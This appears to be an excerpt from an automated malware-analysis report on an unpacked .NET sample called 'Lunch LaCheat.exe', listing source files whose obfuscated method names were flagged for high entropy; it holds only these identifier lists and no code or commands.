Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, kNoIPAUkfQUI8omLQgL.cs High entropy of concatenated method names: 'FBq8eOs3Gj', 'iYk8aS7c0M', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'BhA8CKD54d', '_5f9', 'A6Y'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, JrnQWOUZjgUWBocdi9j.cs High entropy of concatenated method names: 'MBRR4bRWZh', 'dljRVGDLuG', 'beok0xEKNU8oE97cVXm', 'gdJirtEYGwQsYO7TH7X', 'G79xv5EJNEIAhGT5SiY', 'QoDxrPE2nhOSeIhOmfP', 'K3u9F7E8gfcuJwL8ZKH', 'XY1BBlEGogCG7BLkJjZ', 'IWvHJ4EzyO62oyRATuK', 'ooaaDoC5R7I1otPmy6D'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, bakGY7MAQ9F1Mugfu6e.cs High entropy of concatenated method names: '_5u9', 'spk5eP4tNn', 'TM82y63WOc', 'xlo5n38cPv', 'ijDmsq32Cuo0nkm71h4', 'pmmlbH38FgC7IgeCmJx', 'NW4GNa3GCqSCis5YyYb', 'mWl4Li3YuWPoZcZMbjd', 'km51sx3JGusXZGV2HKS', 'qjQnvL3zVIiVitrQV2c'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, xDRQIuqra1CCiX6RhhC.cs High entropy of concatenated method names: 'WoGfqhwXAd', 'YrnffWIkRQ', 'r7XfMuFUTP', 'PYTUgp9slmjF66T3pwk', 'Ia5Xxi9Vf27RNkwaMvK', 'WrE7er9aBcWYBHcsRZ6', 'TaeQa99STGLKXrARlj9', 'aPsyRx9KgUfkIPH8rdh', 'KFxKGc9YHNCliTOGYpD', 'QgrFic9JXw9Kxa2Ttx1'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, nfeO3JM26UEN4nRJB4s.cs High entropy of concatenated method names: 'ryxJ1InLAp', 'RHUJ9E29Lj', 'oSNJpITRLy', 'G2fDwUDPjNV9ZqkedFq', 'syRVjODRUQgkNx8k4KP', 'MG67KADi32EoMii2f3c', 'sT2QmfDXYPr5JaU64AZ', 'QOpJ7GmX6g', 'QfIJgjDLxw', 'acyJSkOeR2'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, u7wHE5XO1AwJPYHADRh.cs High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, wvbMxJXf3x1mW0ua4by.cs High entropy of concatenated method names: 'vqbhJIrxhk', 'XIphZm7Lvs', '_8r1', 'ld4h2Y3rX2', 'Rw8hBdLFuK', 'D4Vh6BjHGm', 'ctAh5E2Uxm', 'sglmWPuWU0lZAiHDmmf', 'ORxqW4uwxm5BQ07tA5t', 'w4VfNvufi4GME3bSXCO'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, AjATmTqxd3qnyspZ8M5.cs High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'HRIIYd0DFlTC15rYUVP', 'mfIPn10NrKEZSHpfdli', 'PNnWnR03P9hG97s8Bl3', 'jSP2Cd0tWTrMIgKLQvC', 'HqKcYM0x20fOVq54Itl', 'RtP49V0H5kTojw65eOq'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, tuX3ojf34ChaxjRV6c1.cs High entropy of concatenated method names: 'ghyMzmrMjj', 'GmityahLUc', 'XnGtqsvKl7', 'CwUtfEAeQC', 'gjXtMu01OW', 'J2Attg8s5b', 'QJgtUQo4xj', 'q40tXDejK9', 't9HtwGj4xZ', 'oEntJkXhwB'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, dTG2gXqPUXjsYC5a9HK.cs High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'gfA0Ju7oAp3APN5QL3C', 'eZuBA77ufnak5Wpyrgk', 'Dw99V67ha1rIRYe4Vq3', 'Hntrf37TKJpcDOdMdxc', 'jTckxA7UpNRoPA5bZOJ', 'XRP1sP7eydMZwiP1WHa'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, sHZJEsfKSVh1hmkvGfT.cs High entropy of concatenated method names: 'zu5XJPnKAU', 'zwnXZTO1PP', 'doVHscfY2QU7y7n3M6h', 'DHJBGlfJchy0NpVeDY1', 'LdV8eMfVkHTJJlF33VL', 'bBU0WFfKxvYr9Xmxf1T', 'WijXSDZEAw', 'MrPWHnm50A7nn7X0Nbk', 'YvnqISmcdn5vSrLYj2i', 'LMfGohfGAKwhojfkFgx'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, COhgSqfcQyyy2PSOJQt.cs High entropy of concatenated method names: '_0023Nn', 'Dispose', 'VSZU9M3hJ2', 'C35Upi0Ohg', 'pqQUdyyy2P', 'pOJUcQtL6R', 'CIsUTckToo', 'YXanqqfqhHSyA5ZR5IF', 'tOWOCQf9atQ2ptEERAZ', 'qlcaEGf7oTCAAyOB3oA'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, IYPXUgwBGoP6ag9jkCy.cs High entropy of concatenated method names: 'c2HFvottUIahn', 'woorDbdXE0xTAYhMF0X', 'uNoJwbdW3AWhGTAQrxp', 'VnGffcdwfhM8aLCcLn8', 'SdFVEVdfu82GL510GMs', 'H9mrWodm0RYjQ0ahgOh', 'IIbfdRdixl71rfT5QOD', 'vAv2eFdPIA5BilCQAop', 'axohCLdl4aoI35uNqyP', 'rPVPQkdrFr6cLrseYA7'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, KhVMlxXdSTGZrYZBTyq.cs High entropy of concatenated method names: 'kjMacqd8Y1', 'dFM8QiUbOiNT3Wlx0o2', 'pAyrlDU1lyp62ZjBqB9', 'C38oNPUj1lyraUDysZK', 'w6QCLhUF0jmyoJeOycs', '_1fi', 'ILXeQHPI2t', '_676', 'IG9', 'mdP'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, kMDXZWXajKvT3fbPySM.cs High entropy of concatenated method names: 'so7OZOmXcS', 'seBO2wr13U', 'Wx0OBVxFAh', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'BgAO6GC7rc'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, t7eqoCq0pyA24xXUAbH.cs High entropy of concatenated method names: 'evhqoFZ4P6', 'JsQfJC9ns5pCW5j6Tnf', 'JAoZp69QZvQqimDDTpb', 'pCKSdX95nALImpr7vLg', 'Y3k8MI9cPRFS30v5Oyr', 'UVr5F79BUJGC0yGL74u', 'wo6Vld9IE4g2E8H1jLL', 'B63ltQ96yh2GL5gwWIl', 'oiAqjLbTCJ', 'ECTyE49qwm3bGTHUN6L'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, LdmVhiXGwe9HapiwJ8M.cs High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'TAXO8Cmnut', 'vrLOhm8dlH', 'lcQOOs0Sxx', 'zIYOeFJCIF', 'R5aOahOv5j', 'PslOCWUtKC', 'et4lt6TCIDuEr6rKuQq'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, UhmLkBf9fCvwgVYUfIA.cs High entropy of concatenated method names: 'qlhUCmLkBf', 'AAWA8rw8JUlo7bj2IaY', 'aX3CKrwGKWf2XWiRpaP', 'KBeZMSwJJIVXm09Apou', 'hyc9HQw2JR8whLRhLc7', 'n00GNtwzblx8nC54JSQ', 'aeNhdAf5DcNWWJ3tCm5', 'kJ3fdTfcnhvxlTjh2c9', 'xKmModfnBy0oOACwRu5', 'hdv74ffQZ2tmZ3HEhpS'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, GmeW25faKmNu3TDH8lC.cs High entropy of concatenated method names: 'm6ItLu1ZjH', 'WVLtkWQbIi', 'iQ4tzxuYYV', 'VkDUyUfoJr', 'varUq8YInh', 'Bv1UfxxBty', 'jpeUMd3Gwn', 'ffrUt61Kw5', 'EYYUUZrHdC', 'KfNEPTWYJNYa4KaQ8lI'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, AM3dUaMPMLKtx58w5dK.cs High entropy of concatenated method names: 'AOVJWefvU5', 'VUSJAFTekW', 'QAXJopur5Z', 'f8kJE1fDDg', 'mNZBiUDLQdo7fX17ZBY', 'wGIy5jDMdiueJuQpas0', 'W3TALFDEgsuXNX9Z2is', 'AT5QLEDOyuw53EOOgdu', 'pruHwBDvqlqlFTXC7gs', 'gww8HDDCKEfkOOWGwbE'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, EU7jgPqZUfCh0MEvB0O.cs High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'JTKaa4777mfR36hCoHA', 'CpD0lE7yQdshseIwquJ', 'iH8cej7qsWR75prafpN', 'IZHsn479V12L7VHBJSQ', 'BgoW2570jjuUXFQBHNp', 'DUnnj07Ato88UNW52uw'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, Ahc13dEy5KVP0BqE5E.cs High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'hAMy1mBUDwEx2rXOl6l', 'loUJM1BeEu05t5cAgSC', 'xLwah6BdvRdcaJCgeFK', 'zIsF8oB4Ohst4mZHOyW', 'mDtiQxBZULvupYnONMx', 'vF1ADbBaBIOnm7Prudn'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, LgEDIqhS04Car44Mop.cs High entropy of concatenated method names: 'NJU99NQHq', 'RsnpVi0BZ', 'aAbdKrsDq', 'N3wegKcpgHwR2rr6u6Q', 'pYUR3lcEmMv2RIKJGbt', 'RYkQYscCtfQBwZ1qBsZ', 'py1TVDcoUrIscPVoM4j', 'n1yueqcu6FT4hHhRbcA', 'ejkrQIchrKMglcNdyH3', 'o80D58cT8bTeg0STeY8'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, TKA1axtODGwCsrAJYh2.cs High entropy of concatenated method names: 'Dh9H1AxGpk', 'ULMH9RCGyd', 'Cx4Hp0QPMN', 'Ws7HdhJ44i', 'x8EHc1HL9o', 'rvHxM6glc1lvMehJWYV', 'RM55FGgfhTvBvTKUYZc', 'UOdxNegmV0i8bkOLHSx', 'gx7WIkgrCmroZnH364u', 'PgomNSgDf3esDNSHfV7'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, f8k1fDtZDguyRu368hC.cs High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, SUHxo9tNj7gNTsIAV05.cs High entropy of concatenated method names: 'ASg78iHlfC', 'JRI7O6QNB4', 'oHo7HOv6uy', 'PSQ7PChfg4', 'GQh77QXcEE', 'luM7g4nfsA', 'Rp47S9GewM', 'wvG7DiND8G', 'KHj73v7iMn', 'MNF7s8pjhS'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, B0A2YIMzsWk7TS3uGdI.cs High entropy of concatenated method names: 'QTZ2eYxb1w', 'MXr2aN0rRt', 'WmV2CoLnj2', 'TScQVcxhu1qXlhrMr6t', 'PjP3fgxTEVoLdOOUAtu', 'mS7e1FxokiJEbe4YJnK', 'dplGFjxutbvFpXvFTTi', 'vRoDi4xU3vHRgsJ91bH', 'wBhsrsxeOfq7uBa21LJ', 'ciuqhXxdPoS2OJgR3ju'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, yhRfLWt3k6bdGWArgmH.cs High entropy of concatenated method names: '_7zt', 'Y2d5s7UQpN', 'L1I540HfXH', 'faI5VYRTcn', 'wS15I7tZAN', 'U1c5mxNXvh', 'Hg45uEn0ui', 'YqOicPk3qIJeIYTLNQ6', 'RowPfGktZ4vKdmJ6ayU', 'rOFyxvkDgj86hX7gl20'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, eCD4fOt5DPq948iwBGO.cs High entropy of concatenated method names: 'erL6pJNwl4', 'tfI6drG2CP', 'C6N6coIPAf', 'SUI6T8omLQ', 'oLr6Kbe96U', 'MWA0wjHGk5xg7L7C3eq', 'Cic4tYHzZ5EcG8VYmr7', 'X7giRhH2Nb6hPeHOJjT', 'G7dIpfH8Om3Lwn6sjKJ', 'vTaFAWk5NyM67DkM9Ki'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, Vb95fHU00YbhYDyu0gn.cs High entropy of concatenated method names: 'qw5RjX5E4u', 'WK7RxA3kvh', 'DlyRFaKs7R', 'zaAZ6uCuOTrQQCO836R', 'dOL0plCpeVIMNhkew1d', 'BXmpOuCoUwnUe5BCqio', 'P6QUBJChv4C6xiEa0O0', 'jKMcgZCTWOkPwYQSAdq', 'pxHyKRCUvWKMttg2kcZ', 'NNfEdpCe43h4k4Xao3h'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, VMFniGxPuBqy8bufcO.cs High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'zPLBIJI6EAx2AuarbQN', 'a8VU2NI7hlQURo19q9X', 'Sem2FAIyQ0lGs9g5Jv3', 'mNTkmRIqiiVNQEglCu2', 'VHvEa4I9VtmwOVg7hUC', 'RFU3TgI0utCXWLQGj4R'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, qlXAoh1gngc2opxxXE.cs High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'aylWtpi92', 'bkRHbAnMkiHllHmNCPr', 'zfe9y2nEZHlKM4NJHNc', 'ySuEJOnCRbb7HMHeWFd', 'bjiC8nnp0SmrslLefZW', 'oTUm6dnoR9vFeGY0KSB'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, ScE4clqkd8XEwfbUW0Q.cs High entropy of concatenated method names: 'OH3fmYWQbU', 'njgfuPUfCh', 'CMEfRvB0Oc', 'lYYCbQA0gq0hdyRggSO', 'jA3j8uAqlS3WG0i99jj', 'BAUOatA9ivHQqX57BbY', 'fPfRJmAAPsbnU2HAHFy', 'zpOlMpARosx03mAD4Fm', 'xatfDuAiR0j7IYdrLRh', 'IACDsBAPpipjifvZXUl'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, USnMqttFK6BlomrJdIc.cs High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'GjkP7CybKT', 'XmhPgyvQWU', 'r8j', 'LS1', '_55S'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, h6vuwetSTCvG7UVGrTy.cs High entropy of concatenated method names: 'QXj5tbqNGh', 'EHN5UH0y3X', 'Niq5XVfIUT', 'pZaAH1kw9m1BCP98Ddp', 'dYDMN1kfqlvFXkd8234', 'lh7iiZkXQpwkl5pn0BU', 'gVrcfykWg6G2SRfcUtA', 'sAYATckmVN2tioX9gJ0', 'uSPpnyklCeAGqHelk9u', 'G3Zg4mkrR64KQ4AJyYl'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, r70NTtMtM1uhGa8tvNh.cs High entropy of concatenated method names: 'ba8wnj0pnM', 'dQ6wWL6GZO', 'HPBwAC7FAa', 'qqmwoRnjG3', 'TsdwE0WyU9', 'icWwjffg5Z', 'J8irNElFIn7Wn6y2175', 'U6uf2Nlg2avZgNruTKk', 'QeO9Nllj2DyE3o8HkOT', 'UMm4x9lbpKZ5oTtANUS'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, mBP0oLLioGhwXAdkrn.cs High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'RD4vFCIKLIHllJerkY6', 'uvCP9wIYLrArEjhk36T', 'l3o5nHIJZ6Zu4y1Gyib', 'mo1tbvI2Zx5AqH6r5ZN', 'FIakaWI86otfJgW9sxD', 'cDlgDBIG7OAMCa9t6E0'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, KHdCRefmbkXs3K6gETN.cs High entropy of concatenated method names: 'U2ttViaejt', 'eHqtIYFZSi', 'Yf8tmR0mCh', 'dKftuZJaha', 'YNotRMtWH5', 'vAiHkRW5DW67my42vGf', 'DGMhAhWcfBjt63gg8Ji', 'iFGOBvXGAF29XqhO46h', 'BQh4G0XzrsbXQeLGmKA', 'UH7Zw5Wn3n8D3mhT9rP'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, LMjjpmqliahLUcLnGsv.cs High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'KfdqIZ0a3759TGBu5PR', 'dc2KE40SB5kdmDO36nt', 'WukPRJ0sGktsPStdt1N', 'XWbLkl0VAVrl3ZWaPF6', 'w2H7td0KNICT7stNJ3F', 'xYLhGd0YOhdnj9i3HJK'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, fttbW4MDcJoMNSH5luT.cs High entropy of concatenated method names: 'qJXJYpW99r', 'J2gJldmVh1', 'GHjJvt3wrp', 'bk1JN6UCD4', 'bODJiPq948', 'hGmGUUN6i8Q9mATGUco', 'k5v9pUN7Av8ih4vYORN', 'mv1KLuNB9ITBxXnAx9k', 'k15qJMNImxrfpVGCfQW', 'JcDtgkNyl5ay1YPElJX'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, DAsN0KqaOCtdgS3tEyf.cs High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'M6bISbqElc2gBTqnY69', 'gv7VZ3qCnc1PaSvp2Ir', 'aPJVY0qp1Ytv8ghp49E', 'hGXX9LqovAi91ujCX4d', 'YmHOsCqu74Uti3CRdZN', 'SlDBkJqhuCrggQ7uDub'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, UlZg75qsQwJiM21bO65.cs High entropy of concatenated method names: 'lHIqCRnmAO', 'vMgMF0yfJ8TikhX2JrH', 'y0HOBuymjT37Y7qUx2h', 'w22e1AyWFE8HZhM0DNL', 'ANdsv9yw6wD9muTxSB5', 'twyKcYylT8BWuQF1YcT', 'saTZbGyrug8BVIVsd20', 'P92crFyDmlOTLF4bFuE', 'LNu749yN3gnq0LspyUI', 'f28'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, B0aWXNMnlXn2BLGMp6h.cs High entropy of concatenated method names: 'sg9', 'Ulq51Ji3mp', 'AJXZLAKlpa', 'thE5H3BDVC', 'sTtO0B3ZeCiOkoYtyRi', 'fAqy4B3a2PsP4Csb2GE', 'vtMweA3SARa1hcsJZst', 'OiSpfI3dk3Lt4obXW8F', 'AJuwmF344OoGZRVvedm', 'YawJpm3sYwIUgtktTEe'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, gI07OVUv4aW9pt78401.cs High entropy of concatenated method names: 'wsB8tf822i', 'VUf8UA23TH', 'dQj8XeOEdi', 'LwO8w8sMco', 'sR58JxMG3p', 'kfR8ZR3xYr', 'fmk82qvu9R', 'riu8B4g1M9', 'kQk86mZJwj', 'RKe85rMYEe'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, ruGDE8wHCs1LugFJYDC.cs High entropy of concatenated method names: 'kB38y8dk5oW2xdKQBrP', 'G6ZbBJdgUO6CLx48d5K', 'dDPudsdxa6pJGbmnmKi', 'b0GZXwdH7ygfxCFOP1w', 'BkAGPB7unW', 'oZOOPmdb3qMR2OdZTra', 'N4YP0Cd1iuhaXhBVh26', 'NS4jk6dO3LJwCCJHcdh', 'cjeMFidvcwPeWVu3eAE', 'G4SHC9dLD6xHeQMsvhm'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, zjoE3wqcjVQABWnuZwJ.cs High entropy of concatenated method names: 'LDwqLbeMqa', 'bU33lM9CY6QbqkUuSXQ', 'edxOpB9puVMW4WRBXYU', 'u2okGP9MG0fEDvWvjeu', 'kDPEj09ExKrMrEl81QS', 'dv3GOp9o4yBpxyypgav', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, nldwCqME01ywJTeITCX.cs High entropy of concatenated method names: 'oYo', '_1Z5', 'v0e5Yer2Yh', 'gGg2tdWOIW', 'hBV53OseBt', 'cuvwY2tiF6T0xlmhlRC', 'DbBHZOtP9vQ03rGX3cr', 'zyxEwctXsbdURV0wraa', 'T257FqtW9ce8SpJEWSC', 'SFoZ3ZtwJPZTejL75Gm'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, jVQRA9qILNDR4ueVNdL.cs High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'oktDTryxsKvOiykeSyp', 'aSXGyWyHbHVuvujaXVW', 'j9DsnTykvOXD7VqlgNy', 'VsEnKxygPhd1RbnlKLC', 'f2ttHIyjk17CiWnkXlh', 'LBdBwxyFOHpWMnIyeFy'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, ykUT5HnIRnmAOVRT6X.cs High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'eY2MbUB0PecUyh3V2wW', 'd8pkn0BAPJITW9DDqcq', 'Tv5aE7BR4L0wAL8jA7R', 'mMPINVBiepktgJ302Pr', 'M4gHVpBP6fZUQTFsMM1', 'cPKUSUBX6ioO9PN9JUd'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, zy6GHpNEirDwbeMqaG.cs High entropy of concatenated method names: '_88Z', 'YZ8', 'ffV', 'G9C', 'YfPN9GIe92ZZpZ9hmoH', 'ADWV0RIdwoLO8FWq0Ir', 'c0DhSCI4rJqavKqnUCf', 'wHH5RqIZVucg3SkrGbq', 'pujxo0IaN1clKxhtVbC', 'XqoEwiISvg6R27NyE7H'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, j8yowCfSyTNdR3Qg4Jh.cs High entropy of concatenated method names: 'z4DMLvf7yf', 'zwLMk4iAhK', 'IYjjs7PluGqUdZbLiIU', 'o2O2kGPrC5Li2fny4MT', 'onGWsrPDJhjoSEs4QKE', 'ECpQQ1PNIZyjHTTKWXl', 'skwvxXP31xojtFQeYcO', 'OUkWPoPtURsH0OCLxTV', 'SVewE2Px9vtFQksqGyF', 'jJ24xJPHrOK9SaMtxTS'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, X1FXHctVq7kE4pJRmYh.cs High entropy of concatenated method names: 'LkY51lKamo', 'apE59apTLb', 'l185p0gr7V', 'oNr5ddQGeP', 'v1x5c60a9L', 'Uuty8tkM18wp61hrkDf', 'VeRQjGkEHw3Q8asgmVu', 'Fbw6jrkvF7gtX0xJpVa', 'lC0gFckLZ18puOV2AUc', 'AMtCArkCcB6NLMt5FHW'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, XfZ5nTqO2eBgWgje4xu.cs High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'sTi4UqyGRJftkS1ZHnt', 'aNQkoEyzVITyOnD7t8F', 'X8PHJDq5Jo8W1Z56NsX', 'JnVY21qcxIgQ4hFRZVs', 'lyvonuqnw8f7bxLb3DN', 'vVOG7WqQl5pajghAZns'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, Lt3DSvqMxZcQ5oZBmim.cs High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'ti108i6bPMh7NNdD0Fg', 'gVVhxC61nmmPWuhSTk4', 'DQbUm86OGZcdm3KKjFo', 'KRhhys6vb76PXjs3uIn', 'gJmdVq6LVSYWZoOx71F', 'HOeuRI6MHyj8SAiueEi'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, Jb85v1sq6IWCtQ7Vqu.cs High entropy of concatenated method names: '_0023C', 'IndexOf', '_0023D', 'Insert', '_0023E', 'RemoveAt', '_0023F', 'get_Item', '_0023G', 'set_Item'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, vK3PiltUTHMLVDrDT8n.cs High entropy of concatenated method names: 'FBr6S3mhmp', 'mvGkoXHmahBtZ5DeyAP', 's3yI1IHlnbYWQ0cDjsW', 'tubhBvHwJMxNiUtCSoD', 'f06gDqHfv0377bFQKfj', 'tXv20oib2p', 'TDc2G9dTCL', 'wwZ2bbYM8P', 'edZ214Srfu', 'q8N29cRarq'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, q8LHkBqBZc0BmxvQWYH.cs High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'dc2h7s7l2bZ7ac2bgs5', 'XXkXrf7r24Mh4osJaef', 'BJKaqZ7DZBiopasUQXP', 'vOvdmP7NkIm7avuOprL', 'lb9aJS73vL1Cn8CVhEV', 'O9TKQq7t156fMSeGKyv'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, VwsI0eXAjxgDO5eO946.cs High entropy of concatenated method names: 'PJ1', 'jo3', 'QhACZG1nuJ', 'gnxC2qDR75', 'xgbCBXBdC6', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, z8gUbRX871YUO6KvEjH.cs High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, ix9Miew8MmrhPUW6iG7.cs High entropy of concatenated method names: 'A7EGRZWto2', 'MlUG8wO8sA', 'zjHGhA80h0', 'k1tGOFYPLo', 'H8kGetCy2q', 'cIMGa7LTR1', 'yQLGCpAmy2', 'nkHG0qyIkQ', 'h4SGGYebre', 'lokGbybUQ7'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, ctiO1aUb80GXStvVQ3f.cs High entropy of concatenated method names: 'sFTRYKjJvv', 'YFXRl2LSuZ', 'igKRvQ9RUr', 'aKNRNk5oQf', 'KGWRiMrEoo', 'q2hRL9enh2', 'vNOWsDCZGATwrY8gMq6', 'PJwbB8CdW955LNt4iEj', 'rvCMDxC4DFbmX1a1HI4', 'CaATkkCauyj44NtKGXO'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, nhbQX4wTCE0caeKIHB.cs High entropy of concatenated method names: 'EQXH4TCE0', 'Yi8356vripC8ilFp0f', 'SSvq0R1MYTyTJUTY0G', 'HWNHdtOUXBWVAWXdIX', 'L0xsrELxFiDu0W9bFR', 'AiWZ4IMeVAmJ4F6jb1', 'OIIfH6Xm7', 'qkJML7FH5', 'wxltexwLw', 'mafUaGdQV'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, Yarf2vfPQwRKas0dOld.cs High entropy of concatenated method names: 'YcBMNnVE0A', 'bFKFfAPQdJqDSLdxsRN', 'Ui04YvPBQas2ifmOoHO', 'FOsO4HPc1PT3R8IgsnS', 'VKZ4elPnV1yPfUV0Mae', 'sBfOimPIjyexNZHuxP8', 'LsGyCqP6Y0Sw1YbN2SJ', 'Ga87hZP7Iypv8oK2YEZ', 'j6PrYqPyXHrUnWoAJsd', 'mwpOhCPqk5ZNWH9xbCN'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, RSx3mxln0wS0orPm0E.cs High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'l2h1jXIjN1EHXRcdH8S', 'o2Ni80IFl7jUaGDcfSK', 'AVxZQ1IbsIs8ixlkEH7', 'rvguNmI1uOZvsnpN8hn', 'yiOQn9IOE4VjSvBjfxx', 'TZRaJjIvBLBitp2ap4b'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, Au6u9NXX2BPw1dlx1cN.cs High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, Thw6BMqwvwHF16riBkP.cs High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'DXXyLe6YjtAoUAlR400', 'IsQInp6JBBf6Bax69i9', 'RrgwEw62ZWLWR5FdqKm', 'nJmgoR68sn0tOY8nH2p', 'YDje1g6GePELr76Akld', 'UkWNYr6z9qJd2t0UiHX'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, OKOFf3AyEOTeQ8sF02.cs High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'HHARG2BfYWdYMpdL3vl', 'yqnvCRBmK9is93gbZw5', 'RAdw8XBlerWmPNMHejV', 'tBcVD7BrGUwGmKKlW1U', 'V53aXFBDCHnwZbTRin8', 'fjI1qBBN3EMlGrTwMVj'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, iWMFUTm5Qgip1Z9i3E.cs High entropy of concatenated method names: 'f1HRteHcI', 'KLh84nVgP', 'wkfh2Pa3I', 'Tp5OiNLJJ', 'tybeBsmlv', 'FegawM7Yt', 'Ku0CqOYbu', 'PKpGNPcyg7aCyWqRSYn', 'pV5Pahcqqo1MKYaLtGX', 'RpdF43c9ENdB4rxPv91'
